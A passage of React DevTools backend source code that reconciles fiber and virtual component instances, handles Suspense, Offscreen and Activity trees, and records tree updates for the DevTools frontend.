nextLastChild) {\n      let level = 0;\n      if (nextChild._debugInfo) {\n        for (let i = 0; i < nextChild._debugInfo.length; i++) {\n          const debugEntry = nextChild._debugInfo[i];\n          if (debugEntry.awaited) {\n            // Async Info\n            const asyncInfo: ReactAsyncInfo = (debugEntry: any);\n            if (level === virtualLevel) {\n              // Track any async info between the previous virtual instance up until to this\n              // instance and add it to the parent. This can add the same set multiple times\n              // so we assume insertSuspendedBy dedupes.\n              insertSuspendedBy(asyncInfo);\n            }\n            continue;\n          }\n          if (typeof debugEntry.name !== 'string') {\n            // Not a Component. Some other Debug Info.\n            continue;\n          }\n          const componentInfo: ReactComponentInfo = (debugEntry: any);\n          const secondaryEnv = getSecondaryEnvironmentName(\n            nextChild._debugInfo,\n            i,\n          );\n          if (componentInfo.env != null) {\n            knownEnvironmentNames.add(componentInfo.env);\n          }\n          if (secondaryEnv !== null) {\n            knownEnvironmentNames.add(secondaryEnv);\n          }\n          if (shouldFilterVirtual(componentInfo, secondaryEnv)) {\n            continue;\n          }\n          if (level === virtualLevel) {\n            if (\n              previousVirtualInstance === null ||\n              // Consecutive children with the same debug entry as a parent gets\n              // treated as if they share the same virtual instance.\n              previousVirtualInstance.data !== componentInfo\n            ) {\n              if (previousVirtualInstance !== null) {\n                // Mount any previous children that should go into the previous parent.\n                if (previousVirtualInstanceWasMount) {\n                  mountVirtualInstanceRecursively(\n                    previousVirtualInstance,\n                    previousVirtualInstanceNextFirstFiber,\n                    nextChild,\n                    traceNearestHostComponentUpdate,\n                    virtualLevel,\n                  );\n                  updateFlags |=\n                    ShouldResetChildren | ShouldResetSuspenseChildren;\n                } else {\n                  updateFlags |= updateVirtualInstanceRecursively(\n                    previousVirtualInstance,\n                    previousVirtualInstanceNextFirstFiber,\n                    nextChild,\n                    previousVirtualInstancePrevFirstFiber,\n                    traceNearestHostComponentUpdate,\n                    virtualLevel,\n                  );\n                }\n              }\n              let previousSiblingOfBestMatch = null;\n              let bestMatch = remainingReconcilingChildren;\n              if (\n                componentInfo.key != null &&\n                componentInfo.key !== REACT_OPTIMISTIC_KEY\n              ) {\n                // If there is a key try to find a matching key in the set.\n                bestMatch = remainingReconcilingChildren;\n                while (bestMatch !== null) {\n                  if (\n                    bestMatch.kind === VIRTUAL_INSTANCE &&\n                    bestMatch.data.key === componentInfo.key\n                  ) {\n                    break;\n                  }\n                  previousSiblingOfBestMatch = bestMatch;\n                  bestMatch = bestMatch.nextSibling;\n                }\n              }\n              if (\n                bestMatch !== null &&\n                bestMatch.kind === VIRTUAL_INSTANCE &&\n                bestMatch.data.name === componentInfo.name &&\n                bestMatch.data.env === componentInfo.env &&\n                bestMatch.data.key === componentInfo.key\n              ) {\n                // If the previous children had a virtual instance in the same slot\n                // with the same name, then we claim it and reuse it for this update.\n                // Update it with the latest entry.\n                bestMatch.data = componentInfo;\n                moveChild(bestMatch, previousSiblingOfBestMatch);\n                previousVirtualInstance = bestMatch;\n                previousVirtualInstanceWasMount = false;\n              } else {\n                // Otherwise we create a new instance.\n                const newVirtualInstance = createVirtualInstance(componentInfo);\n                recordVirtualMount(\n                  newVirtualInstance,\n                  reconcilingParent,\n                  secondaryEnv,\n                );\n                insertChild(newVirtualInstance);\n                previousVirtualInstance = newVirtualInstance;\n                previousVirtualInstanceWasMount = true;\n                updateFlags |= ShouldResetChildren;\n              }\n              // Existing children might be reparented into this new virtual instance.\n              // TODO: This will cause the front end to error which needs to be fixed.\n              previousVirtualInstanceNextFirstFiber = nextChild;\n              previousVirtualInstancePrevFirstFiber = prevChildAtSameIndex;\n            }\n            level++;\n            break;\n          } else {\n            level++;\n          }\n        }\n      }\n      if (level === virtualLevel) {\n        if (previousVirtualInstance !== null) {\n          // If we were working on a virtual instance and this is not a virtual\n          // instance, then we end the sequence and update any previous children\n          // that should go into the previous virtual instance.\n          if (previousVirtualInstanceWasMount) {\n            mountVirtualInstanceRecursively(\n              previousVirtualInstance,\n              previousVirtualInstanceNextFirstFiber,\n              nextChild,\n              traceNearestHostComponentUpdate,\n              virtualLevel,\n            );\n            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n          } else {\n            updateFlags |= updateVirtualInstanceRecursively(\n              previousVirtualInstance,\n              previousVirtualInstanceNextFirstFiber,\n              nextChild,\n              previousVirtualInstancePrevFirstFiber,\n              traceNearestHostComponentUpdate,\n              virtualLevel,\n            );\n          }\n          previousVirtualInstance = null;\n        }\n\n        // We've reached the end of the virtual levels, but not beyond,\n        // and now continue with the regular fiber.\n\n        // Do a fast pass over the remaining children to find the previous instance.\n        // TODO: This doesn't have the best O(n) for a large set of children that are\n        // reordered. Consider using a temporary map if it's not the very next one.\n        let prevChild;\n        if (prevChildAtSameIndex === nextChild) {\n          // This set is unchanged. We're just going through it to place all the\n          // children again.\n          prevChild = nextChild;\n        } else {\n          // We don't actually need to rely on the alternate here. We could also\n          // reconcile against stateNode, key or whatever. Doesn't have to be same\n          // Fiber pair.\n          prevChild = nextChild.alternate;\n        }\n        let previousSiblingOfExistingInstance = null;\n        let existingInstance = null;\n        if (prevChild !== null) {\n          existingInstance = remainingReconcilingChildren;\n          while (existingInstance !== null) {\n            if (existingInstance.data === prevChild) {\n              break;\n            }\n            previousSiblingOfExistingInstance = existingInstance;\n            existingInstance = existingInstance.nextSibling;\n          }\n        }\n        if (existingInstance !== null) {\n          // Common case. Match in the same parent.\n          const fiberInstance: FiberInstance | FilteredFiberInstance =\n            (existingInstance: any); // Only matches if it's a Fiber.\n\n          // We keep track if the order of the children matches the previous order.\n          // They are always different referentially, but if the instances line up\n          // conceptually we'll want to know that.\n          if (prevChild !== prevChildAtSameIndex) {\n            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n          }\n\n          moveChild(fiberInstance, previousSiblingOfExistingInstance);\n\n          // If a nested tree child order changed but it can't handle its own\n          // child order invalidation (e.g. because it's filtered out like host nodes),\n          // propagate the need to reset child order upwards to this Fiber.\n          updateFlags |= updateFiberRecursively(\n            fiberInstance,\n            nextChild,\n            (prevChild: any),\n            traceNearestHostComponentUpdate,\n          );\n        } else if (prevChild !== null && shouldFilterFiber(nextChild)) {\n          // The filtered instance could've reordered.\n          if (prevChild !== prevChildAtSameIndex) {\n            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n          }\n\n          // If this Fiber should be filtered, we need to still update its children.\n          // This relies on an alternate since we don't have an Instance with the previous\n          // child on it. Ideally, the reconciliation wouldn't need previous Fibers that\n          // are filtered from the tree.\n          updateFlags |= updateFiberRecursively(\n            null,\n            nextChild,\n            prevChild,\n            traceNearestHostComponentUpdate,\n          );\n        } else {\n          // It's possible for a FiberInstance to be reparented when virtual parents\n          // get their sequence split or change structure with the same render result.\n          // In this case we unmount the and remount the FiberInstances.\n          // This might cause us to lose the selection but it's an edge case.\n\n          // We let the previous instance remain in the \"remaining queue\" it is\n          // in to be deleted at the end since it'll have no match.\n\n          mountFiberRecursively(nextChild, traceNearestHostComponentUpdate);\n          // Need to mark the parent set to remount the new instance.\n          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n        }\n      }\n      // Try the next child.\n      nextChild = nextChild.sibling;\n      // Advance the pointer in the previous list so that we can\n      // keep comparing if they line up.\n      if (\n        (updateFlags & ShouldResetChildren) === NoUpdate &&\n        prevChildAtSameIndex !== null\n      ) {\n        prevChildAtSameIndex = prevChildAtSameIndex.sibling;\n      }\n    }\n    if (previousVirtualInstance !== null) {\n      if (previousVirtualInstanceWasMount) {\n        mountVirtualInstanceRecursively(\n          previousVirtualInstance,\n          previousVirtualInstanceNextFirstFiber,\n          null,\n          traceNearestHostComponentUpdate,\n          virtualLevel,\n        );\n        updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n      } else {\n        updateFlags |= updateVirtualInstanceRecursively(\n          previousVirtualInstance,\n          previousVirtualInstanceNextFirstFiber,\n          null,\n          previousVirtualInstancePrevFirstFiber,\n          traceNearestHostComponentUpdate,\n          virtualLevel,\n        );\n      }\n    }\n    // If we have no more children, but used to, they don't line up.\n    if (prevChildAtSameIndex !== null) {\n      updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n    }\n    return updateFlags;\n  }\n\n  // Returns whether closest unfiltered fiber parent needs to reset its child list.\n  function updateChildrenRecursively(\n    nextFirstChild: null | Fiber,\n    prevFirstChild: null | Fiber,\n    traceNearestHostComponentUpdate: boolean,\n  ): UpdateFlags {\n    if (nextFirstChild === null) {\n      return prevFirstChild !== null ? ShouldResetChildren : NoUpdate;\n    }\n    return updateVirtualChildrenRecursively(\n      nextFirstChild,\n      null,\n      prevFirstChild,\n      traceNearestHostComponentUpdate,\n      0,\n    );\n  }\n\n  function updateSuspenseChildrenRecursively(\n    nextContentFiber: Fiber,\n    prevContentFiber: Fiber,\n    traceNearestHostComponentUpdate: boolean,\n    stashedSuspenseParent: null | SuspenseNode,\n    stashedSuspensePrevious: null | SuspenseNode,\n    stashedSuspenseRemaining: null | SuspenseNode,\n  ): UpdateFlags {\n    let updateFlags = NoUpdate;\n    const prevFallbackFiber = prevContentFiber.sibling;\n    const nextFallbackFiber = nextContentFiber.sibling;\n\n    // First update only the Offscreen boundary. I.e. the main content.\n    updateFlags |= updateVirtualChildrenRecursively(\n      nextContentFiber,\n      nextFallbackFiber,\n      prevContentFiber,\n      traceNearestHostComponentUpdate,\n      0,\n    );\n\n    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll\n    // reconcile the fallback, reconciling anything in the context of the parent SuspenseNode.\n    // Since the fallback conceptually blocks the parent.\n    reconcilingParentSuspenseNode = stashedSuspenseParent;\n    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n    if (prevFallbackFiber !== null || nextFallbackFiber !== null) {\n      if (nextFallbackFiber === null) {\n        unmountRemainingChildren();\n      } else {\n        updateFlags |= updateVirtualChildrenRecursively(\n          nextFallbackFiber,\n          null,\n          prevFallbackFiber,\n          traceNearestHostComponentUpdate,\n          0,\n        );\n\n        if ((updateFlags & ShouldResetSuspenseChildren) !== NoUpdate) {\n          updateFlags |= ShouldResetParentSuspenseChildren;\n          updateFlags &= ~ShouldResetSuspenseChildren;\n        }\n      }\n    }\n\n    return updateFlags;\n  }\n\n  // Returns whether closest unfiltered fiber parent needs to reset its child list.\n  function updateFiberRecursively(\n    fiberInstance: null | FiberInstance | FilteredFiberInstance, // null if this should be filtered\n    nextFiber: Fiber,\n    prevFiber: Fiber,\n    traceNearestHostComponentUpdate: boolean,\n  ): UpdateFlags {\n    if (__DEBUG__) {\n      if (fiberInstance !== null) {\n        debug('updateFiberRecursively()', fiberInstance, reconcilingParent);\n      }\n    }\n\n    if (traceUpdatesEnabled) {\n      const elementType = getElementTypeForFiber(nextFiber);\n      if (traceNearestHostComponentUpdate) {\n        // If an ancestor updated, we should mark the nearest host nodes for highlighting.\n        if (elementType === ElementTypeHostComponent) {\n          traceUpdatesForNodes.add(nextFiber.stateNode);\n          traceNearestHostComponentUpdate = false;\n        }\n      } else {\n        if (\n          elementType === ElementTypeFunction ||\n          elementType === ElementTypeClass ||\n          elementType === ElementTypeContext ||\n          elementType === ElementTypeMemo ||\n          elementType === ElementTypeForwardRef\n        ) {\n          if (prevFiber !== nextFiber) {\n            // Otherwise if this is a traced ancestor, flag for the nearest host descendant(s).\n            traceNearestHostComponentUpdate = didFiberRender(\n              ReactTypeOfWork,\n              prevFiber,\n              nextFiber,\n            );\n          }\n        }\n      }\n    }\n\n    const stashedParent = reconcilingParent;\n    const stashedPrevious = previouslyReconciledSibling;\n    const stashedRemaining = remainingReconcilingChildren;\n    const stashedSuspenseParent = reconcilingParentSuspenseNode;\n    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;\n    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;\n    const stashedIsInActivitySlice = isInFocusedActivity;\n    let updateFlags = NoUpdate;\n    let shouldMeasureSuspenseNode = false;\n    let shouldPopSuspenseNode = false;\n    let previousSuspendedBy = null;\n    if (fiberInstance !== null) {\n      previousSuspendedBy = fiberInstance.suspendedBy;\n      // Update the Fiber so we that we always keep the current Fiber on the data.\n      fiberInstance.data = nextFiber;\n      if (prevFiber !== nextFiber) {\n        if (\n          mostRecentlyInspectedElement !== null &&\n          (mostRecentlyInspectedElement.id === fiberInstance.id ||\n            // If we're inspecting a Root, we inspect the Screen.\n            // Invalidating any Root invalidates the Screen too.\n            (mostRecentlyInspectedElement.type === ElementTypeRoot &&\n              nextFiber.tag === HostRoot)) &&\n          didFiberRender(ReactTypeOfWork, prevFiber, nextFiber)\n        ) {\n          // If this Fiber has updated, clear cached inspected data.\n          // If it is inspected again, it may need to be re-run to obtain updated hooks values.\n          hasElementUpdatedSinceLastInspected = true;\n        }\n      }\n      // Push a new DevTools instance parent while reconciling this subtree.\n      reconcilingParent = fiberInstance;\n      previouslyReconciledSibling = null;\n      // Move all the children of this instance to the remaining set.\n      // We'll move them back one by one, and anything that remains is deleted.\n      remainingReconcilingChildren = fiberInstance.firstChild;\n      fiberInstance.firstChild = null;\n      fiberInstance.suspendedBy = null;\n\n      const suspenseNode = fiberInstance.suspenseNode;\n      if (suspenseNode !== null) {\n        reconcilingParentSuspenseNode = suspenseNode;\n        previouslyReconciledSiblingSuspenseNode = null;\n        remainingReconcilingChildrenSuspenseNodes = suspenseNode.firstChild;\n        suspenseNode.firstChild = null;\n        shouldMeasureSuspenseNode = true;\n        shouldPopSuspenseNode = true;\n      }\n\n      if (focusedActivity !== null) {\n        if (fiberInstance.id === focusedActivityID) {\n          isInFocusedActivity = true;\n        } else if (nextFiber.tag === ActivityComponent) {\n          // Filtering nested Activity components inside the focused activity\n          // is done in the frontend.\n        }\n      }\n    }\n    try {\n      trackDebugInfoFromLazyType(nextFiber);\n      trackDebugInfoFromUsedThenables(nextFiber);\n\n      if (nextFiber.tag === HostHoistable) {\n        const nearestInstance = reconcilingParent;\n        if (nearestInstance === null) {\n          throw new Error('Did not expect a host hoistable to be the root');\n        }\n        if (prevFiber.memoizedState !== nextFiber.memoizedState) {\n          releaseHostResource(nearestInstance, prevFiber.memoizedState);\n          aquireHostResource(nearestInstance, nextFiber.memoizedState);\n        }\n        trackDebugInfoFromHostResource(nearestInstance, nextFiber);\n      } else if (\n        nextFiber.tag === HostComponent ||\n        nextFiber.tag === HostText ||\n        nextFiber.tag === HostSingleton\n      ) {\n        const nearestInstance = reconcilingParent;\n        if (nearestInstance === null) {\n          throw new Error('Did not expect a host hoistable to be the root');\n        }\n        if (prevFiber.stateNode !== nextFiber.stateNode) {\n          // In persistent mode, it's possible for the stateNode to update with\n          // a new clone. In that case we need to release the old one and aquire\n          // new one instead.\n          releaseHostInstance(nearestInstance, prevFiber.stateNode);\n          aquireHostInstance(nearestInstance, nextFiber.stateNode);\n        }\n        trackDebugInfoFromHostComponent(nearestInstance, nextFiber);\n      }\n\n      // The behavior of timed-out legacy Suspense trees is unique. Without the Offscreen wrapper.\n      // Rather than unmount the timed out content (and possibly lose important state),\n      // React re-parents this content within a hidden Fragment while the fallback is showing.\n      // This behavior doesn't need to be observable in the DevTools though.\n      // It might even result in a bad user experience for e.g. node selection in the Elements panel.\n      // The easiest fix is to strip out the intermediate Fragment fibers,\n      // so the Elements panel and Profiler don't need to special case them.\n      const isLegacySuspense =\n        nextFiber.tag === SuspenseComponent && OffscreenComponent === -1;\n      // Suspense components only have a non-null memoizedState if they're timed-out.\n      const prevDidTimeout =\n        isLegacySuspense && prevFiber.memoizedState !== null;\n      const nextDidTimeOut =\n        isLegacySuspense && nextFiber.memoizedState !== null;\n\n      const prevWasHidden = isHiddenOffscreen(prevFiber);\n      const nextIsHidden = isHiddenOffscreen(nextFiber);\n      const prevWasSuspended = isSuspendedOffscreen(prevFiber);\n      const nextIsSuspended = isSuspendedOffscreen(nextFiber);\n\n      if (isLegacySuspense) {\n        if (fiberInstance !== null && fiberInstance.suspenseNode !== null) {\n          const suspenseNode = fiberInstance.suspenseNode;\n          if (\n            (prevFiber.stateNode === null) !==\n            (nextFiber.stateNode === null)\n          ) {\n            trackThrownPromisesFromRetryCache(\n              suspenseNode,\n              nextFiber.stateNode,\n            );\n          }\n          if (\n            (prevFiber.memoizedState === null) !==\n            (nextFiber.memoizedState === null)\n          ) {\n            // Toggle suspended state.\n            recordSuspenseSuspenders(suspenseNode);\n          }\n        }\n      }\n      // The logic below is inspired by the code paths in updateSuspenseComponent()\n      // inside ReactFiberBeginWork in the React source code.\n      if (prevDidTimeout && nextDidTimeOut) {\n        // Fallback -> Fallback:\n        // 1. Reconcile fallback set.\n        const nextFiberChild = nextFiber.child;\n        const nextFallbackChildSet = nextFiberChild\n          ? nextFiberChild.sibling\n          : null;\n        // Note: We can't use nextFiber.child.sibling.alternate\n        // because the set is special and alternate may not exist.\n        const prevFiberChild = prevFiber.child;\n        const prevFallbackChildSet = prevFiberChild\n          ? prevFiberChild.sibling\n          : null;\n\n        if (prevFallbackChildSet == null && nextFallbackChildSet != null) {\n          mountChildrenRecursively(\n            nextFallbackChildSet,\n            traceNearestHostComponentUpdate,\n          );\n\n          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n        }\n\n        const childrenUpdateFlags =\n          nextFallbackChildSet != null && prevFallbackChildSet != null\n            ? updateChildrenRecursively(\n                nextFallbackChildSet,\n                prevFallbackChildSet,\n                traceNearestHostComponentUpdate,\n              )\n            : NoUpdate;\n        updateFlags |= childrenUpdateFlags;\n      } else if (prevDidTimeout && !nextDidTimeOut) {\n        // Fallback -> Primary:\n        // 1. Unmount fallback set\n        // Note: don't emulate fallback unmount because React actually did it.\n        // 2. Mount primary set\n        const nextPrimaryChildSet = nextFiber.child;\n        if (nextPrimaryChildSet !== null) {\n          mountChildrenRecursively(\n            nextPrimaryChildSet,\n            traceNearestHostComponentUpdate,\n          );\n          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n        }\n      } else if (!prevDidTimeout && nextDidTimeOut) {\n        // Primary -> Fallback:\n        // 1. Hide primary set\n        // We simply don't re-add the fallback children and let\n        // unmountRemainingChildren() handle it.\n        // 2. Mount fallback set\n        const nextFiberChild = nextFiber.child;\n        const nextFallbackChildSet = nextFiberChild\n          ? nextFiberChild.sibling\n          : null;\n        if (nextFallbackChildSet != null) {\n          mountChildrenRecursively(\n            nextFallbackChildSet,\n            traceNearestHostComponentUpdate,\n          );\n          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n        }\n      } else if (nextIsSuspended) {\n        if (!prevWasSuspended) {\n          // We're hiding the children. Disconnect them from the front end but keep state.\n          if (fiberInstance !== null && !isInDisconnectedSubtree) {\n            disconnectChildrenRecursively(remainingReconcilingChildren);\n          }\n        }\n        // Update children inside the hidden tree if they committed with a new updates.\n        const stashedDisconnected = isInDisconnectedSubtree;\n        isInDisconnectedSubtree = true;\n        try {\n          updateFlags |= updateChildrenRecursively(\n            nextFiber.child,\n            prevFiber.child,\n            false,\n          );\n        } finally {\n          isInDisconnectedSubtree = stashedDisconnected;\n        }\n      } else if (prevWasSuspended && !nextIsSuspended) {\n        // We're revealing the hidden children. We now need to update them to the latest state.\n        // We do this while still in the disconnected state and then we reconnect the new ones.\n        // This avoids reconnecting things that are about to be removed anyway.\n        const stashedDisconnected = isInDisconnectedSubtree;\n        isInDisconnectedSubtree = true;\n        try {\n          if (nextFiber.child !== null) {\n            updateFlags |= updateChildrenRecursively(\n              nextFiber.child,\n              prevFiber.child,\n              false,\n            );\n          }\n          // Ensure we unmount any remaining children inside the isInDisconnectedSubtree flag\n          // since they should not trigger real deletions.\n          unmountRemainingChildren();\n          remainingReconcilingChildren = null;\n        } finally {\n          isInDisconnectedSubtree = stashedDisconnected;\n        }\n        if (fiberInstance !== null && !isInDisconnectedSubtree) {\n          reconnectChildrenRecursively(fiberInstance);\n          // Children may have reordered while they were hidden.\n          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n        }\n      } else if (nextIsHidden) {\n        if (isActivityHiddenOffscreen(nextFiber)) {\n          // Activity's hidden children stay visible in the DevTools tree.\n          // Whether staying hidden or transitioning to hidden, update normally.\n          updateFlags |= updateChildrenRecursively(\n            nextFiber.child,\n            prevFiber.child,\n            traceNearestHostComponentUpdate,\n          );\n        } else if (prevWasHidden) {\n          // still hidden. Nothing to do.\n        } else {\n          // We're hiding the children. Remove them from the Frontend\n          unmountRemainingChildren();\n        }\n      } else if (prevWasHidden && !nextIsHidden) {\n        if (\n          nextFiber.return !== null &&\n          nextFiber.return.tag === ActivityComponent\n        ) {\n          // Activity children were never unmounted, so just update normally.\n          updateFlags |= updateChildrenRecursively(\n            nextFiber.child,\n            prevFiber.child,\n            traceNearestHostComponentUpdate,\n          );\n        } else {\n          // Since we don't mount hidden children and unmount children when hiding,\n          // we need to enter the mount path when revealing.\n          const nextChildSet = nextFiber.child;\n          if (nextChildSet !== null) {\n            mountChildrenRecursively(\n              nextChildSet,\n              traceNearestHostComponentUpdate,\n            );\n            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;\n          }\n        }\n      } else if (\n        nextFiber.tag === SuspenseComponent &&\n        OffscreenComponent !== -1 &&\n        fiberInstance !== null &&\n        fiberInstance.suspenseNode !== null\n      ) {\n        // Modern Suspense path\n        const suspenseNode = fiberInstance.suspenseNode;\n        const prevContentFiber = prevFiber.child;\n        const nextContentFiber = nextFiber.child;\n        const previousHydrated = isFiberHydrated(prevFiber);\n        const nextHydrated = isFiberHydrated(nextFiber);\n        if (previousHydrated && nextHydrated) {\n          if (nextContentFiber === null || prevContentFiber === null) {\n            throw new Error(\n              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n            );\n          }\n\n          if (\n            (prevFiber.stateNode === null) !==\n            (nextFiber.stateNode === null)\n          ) {\n            trackThrownPromisesFromRetryCache(\n              suspenseNode,\n              nextFiber.stateNode,\n            );\n          }\n\n          if (\n            (prevFiber.memoizedState === null) !==\n            (nextFiber.memoizedState === null)\n          ) {\n            // Toggle suspended state.\n            recordSuspenseSuspenders(suspenseNode);\n          }\n\n          shouldMeasureSuspenseNode = false;\n          updateFlags |= updateSuspenseChildrenRecursively(\n            nextContentFiber,\n            prevContentFiber,\n            traceNearestHostComponentUpdate,\n            stashedSuspenseParent,\n            stashedSuspensePrevious,\n            stashedSuspenseRemaining,\n          );\n          // updateSuspenseChildrenRecursively popped already\n          shouldPopSuspenseNode = false;\n          if (nextFiber.memoizedState === null) {\n            // Measure this Suspense node in case it changed. We don't update the rect while\n            // we're inside a disconnected subtree nor if we are the Suspense boundary that\n            // is suspended. This lets us keep the rectangle of the displayed content while\n            // we're suspended to visualize the resulting state.\n            shouldMeasureSuspenseNode = !isInDisconnectedSubtree;\n          }\n        } else if (!previousHydrated && nextHydrated) {\n          if (nextContentFiber === null) {\n            throw new Error(\n              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n            );\n          }\n\n          trackThrownPromisesFromRetryCache(suspenseNode, nextFiber.stateNode);\n          // Toggle suspended state.\n          recordSuspenseSuspenders(suspenseNode);\n\n          mountSuspenseChildrenRecursively(\n            nextContentFiber,\n            traceNearestHostComponentUpdate,\n            stashedSuspenseParent,\n            stashedSuspensePrevious,\n            stashedSuspenseRemaining,\n          );\n          // mountSuspenseChildrenRecursively popped already\n          shouldPopSuspenseNode = false;\n        } else if (previousHydrated && !nextHydrated) {\n          throw new Error(\n            'Encountered a dehydrated Suspense boundary that was previously hydrated.',\n          );\n        } else {\n          // This Suspense Fiber is still dehydrated. It won't have any children\n          // until hydration.\n        }\n      } else {\n        // Common case: Primary -> Primary.\n        // This is the same code path as for non-Suspense fibers.\n        if (nextFiber.child !== prevFiber.child) {\n          updateFlags |= updateChildrenRecursively(\n            nextFiber.child,\n            prevFiber.child,\n            traceNearestHostComponentUpdate,\n          );\n        } else {\n          // Children are unchanged.\n          if (fiberInstance !== null) {\n            // All the remaining children will be children of this same fiber so we can just reuse them.\n            // I.e. we just restore them by undoing what we did above.\n            fiberInstance.firstChild = remainingReconcilingChildren;\n            remainingReconcilingChildren = null;\n\n            consumeSuspenseNodesOfExistingInstance(fiberInstance);\n\n            if (traceUpdatesEnabled) {\n              // If we're tracing updates and we've bailed out before reaching a host node,\n              // we should fall back to recursively marking the nearest host descendants for highlight.\n              if (traceNearestHostComponentUpdate) {\n                const hostInstances =\n                  findAllCurrentHostInstances(fiberInstance);\n                hostInstances.forEach(hostInstance => {\n                  traceUpdatesForNodes.add(hostInstance);\n                });\n              }\n            }\n          } else {\n            const childrenUpdateFlags = updateChildrenRecursively(\n              nextFiber.child,\n              prevFiber.child,\n              false,\n            );\n            // If this fiber is filtered there might be changes to this set elsewhere so we have\n            // to visit each child to place it back in the set. We let the child bail out instead.\n            if ((childrenUpdateFlags & ShouldResetChildren) !== NoUpdate) {\n              throw new Error(\n                'The children should not have changed if we pass in the same set.',\n              );\n            }\n            updateFlags |= childrenUpdateFlags;\n          }\n        }\n      }\n\n      if (fiberInstance !== null) {\n        // Detect Activity hidden/visible mode changes.\n        if (\n          prevFiber.tag === ActivityComponent &&\n          nextFiber.tag === ActivityComponent &&\n          fiberInstance.kind === FIBER_INSTANCE\n        ) {\n          const prevOffscreen = prevFiber.child;\n          const nextOffscreen = nextFiber.child;\n          if (prevOffscreen !== null && nextOffscreen !== null) {\n            const prevHidden = isHiddenOffscreen(prevOffscreen);\n            const nextHidden = isHiddenOffscreen(nextOffscreen);\n            if (prevHidden !== nextHidden) {\n              pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);\n              pushOperation(fiberInstance.id);\n              pushOperation(\n                nextHidden ? ActivityHiddenMode : ActivityVisibleMode,\n              );\n            }\n          }\n        }\n\n        removePreviousSuspendedBy(\n          fiberInstance,\n          previousSuspendedBy,\n          shouldPopSuspenseNode\n            ? reconcilingParentSuspenseNode\n            : stashedSuspenseParent,\n        );\n\n        if (fiberInstance.kind === FIBER_INSTANCE) {\n          let componentLogsEntry = fiberToComponentLogsMap.get(\n            fiberInstance.data,\n          );\n          if (\n            componentLogsEntry === undefined &&\n            fiberInstance.data.alternate\n          ) {\n            componentLogsEntry = fiberToComponentLogsMap.get(\n              fiberInstance.data.alternate,\n            );\n          }\n          recordConsoleLogs(fiberInstance, componentLogsEntry);\n\n          if (!isInDisconnectedSubtree) {\n            const isProfilingSupported =\n              nextFiber.hasOwnProperty('treeBaseDuration');\n            if (isProfilingSupported) {\n              recordProfilingDurations(fiberInstance, prevFiber);\n            }\n          }\n        }\n      }\n\n      if ((updateFlags & ShouldResetChildren) !== NoUpdate) {\n        // We need to crawl the subtree for closest non-filtered Fibers\n        // so that we can display them in a flat children set.\n        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {\n          if (!nextIsSuspended && !isInDisconnectedSubtree) {\n            recordResetChildren(fiberInstance);\n          }\n\n          // We've handled the child order change for this Fiber.\n          // Since it's included, there's no need to invalidate parent child order.\n          updateFlags &= ~ShouldResetChildren;\n        } else {\n          // Let the closest unfiltered parent Fiber reset its child order instead.\n        }\n      } else {\n      }\n\n      if ((updateFlags & ShouldResetSuspenseChildren) !== NoUpdate) {\n        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {\n          const suspenseNode = fiberInstance.suspenseNode;\n          if (suspenseNode !== null) {\n            recordResetSuspenseChildren(suspenseNode);\n            updateFlags &= ~ShouldResetSuspenseChildren;\n          }\n        } else {\n          // Let the closest unfiltered parent Fiber reset its child order instead.\n        }\n      }\n      if ((updateFlags & ShouldResetParentSuspenseChildren) !== NoUpdate) {\n        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {\n          const suspenseNode = fiberInstance.suspenseNode;\n          if (suspenseNode !== null) {\n            updateFlags &= ~ShouldResetParentSuspenseChildren;\n            updateFlags |= ShouldResetSuspenseChildren;\n          }\n        } else {\n          // Let the closest unfiltered parent Fiber reset its child order instead.\n        }\n      }\n\n      return updateFlags;\n    } finally {\n      if (fiberInstance !== null) {\n        unmountRemainingChildren();\n        reconcilingParent = stashedParent;\n        previouslyReconciledSibling = stashedPrevious;\n        remainingReconcilingChildren = stashedRemaining;\n        if (shouldMeasureSuspenseNode) {\n          if (!isInDisconnectedSubtree) {\n            // Measure this Suspense node in case it changed. We don't update the rect\n            // while we're inside a disconnected subtree so that we keep the outline\n            // as it was before we hid the parent.\n            const suspenseNode = fiberInstance.suspenseNode;\n            if (suspenseNode === null) {\n              throw new Error(\n                'Attempted to measure a Suspense node that does not exist.',\n              );\n            }\n            const prevRects = suspenseNode.rects;\n            const nextRects = measureInstance(fiberInstance);\n            if (!areEqualRects(prevRects, nextRects)) {\n              suspenseNode.rects = nextRects;\n              recordSuspenseResize(suspenseNode);\n            }\n          }\n        }\n        if (shouldPopSuspenseNode) {\n          reconcilingParentSuspenseNode = stashedSuspenseParent;\n          previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n          remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n        }\n        isInFocusedActivity = stashedIsInActivitySlice;\n      }\n    }\n  }\n\n  function disconnectChildrenRecursively(firstChild: null | DevToolsInstance) {\n    for (let child = firstChild; child !== null; child = child.nextSibling) {\n      if (\n        (child.kind === FIBER_INSTANCE ||\n          child.kind === FILTERED_FIBER_INSTANCE) &&\n        isSuspendedOffscreen(child.data)\n      ) {\n        // This instance's children are already disconnected.\n      } else {\n        disconnectChildrenRecursively(child.firstChild);\n      }\n      if (child.kind === FIBER_INSTANCE) {\n        recordDisconnect(child);\n      } else if (child.kind === VIRTUAL_INSTANCE) {\n        recordVirtualDisconnect(child);\n      }\n    }\n  }\n\n  function 